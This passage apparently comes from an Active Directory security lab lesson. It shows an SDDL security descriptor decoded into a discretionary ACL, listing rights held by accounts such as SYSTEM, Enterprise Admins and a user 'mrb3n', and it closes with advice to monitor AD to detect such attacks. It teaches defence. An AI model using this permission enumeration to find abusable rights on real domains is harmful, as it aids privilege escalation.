114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0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1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)" |select -ExpandProperty DiscretionaryAcl Everyone: AccessDenied (WriteData) Everyone: AccessAllowed (WriteExtendedAttributes) NT AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes) NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes) NT AUTHORITY\Authenticated Users: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes) NT AUTHORITY\SYSTEM: AccessAllowed (ChangePermissions, CreateDirectories, Delete, DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, GenericAll, GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey) BUILTIN\Administrators: AccessAllowed (ChangePermissions, CreateDirectories, Delete, ExecuteKey, GenericExecute, GenericRead, GenericWrite, ListDirectory, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteAttributes, WriteExtendedAttributes) BUILTIN\Pre-Windows 2000 Compatible Access: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions, WriteExtendedAttributes) INLANEFREIGHT\Domain Admins: AccessAllowed (ChangePermissions, CreateDirectories, ExecuteKey, GenericExecute, GenericRead, GenericWrite, ListDirectory, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteAttributes, WriteExtendedAttributes) INLANEFREIGHT\Enterprise Admins: AccessAllowed (ChangePermissions, CreateDirectories, Delete, DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, GenericAll, GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey) INLANEFREIGHT\Organization Management: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes) INLANEFREIGHT\Exchange Trusted Subsystem: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes) INLANEFREIGHT\mrb3n: AccessAllowed (CreateDirectories, GenericExecute, GenericWrite, ReadExtendedAttributes, ReadPermissions, Traverse, WriteExtendedAttributes) ``` There are many tools out there that can be used to help monitor AD. These tools, when used in conjunction with a highly mature AD secure posture, and combined with built-in tools such as the various ways we can monitor for and alert on events in Active Directory, can help to detect these types of attacks and prevent them from going any further.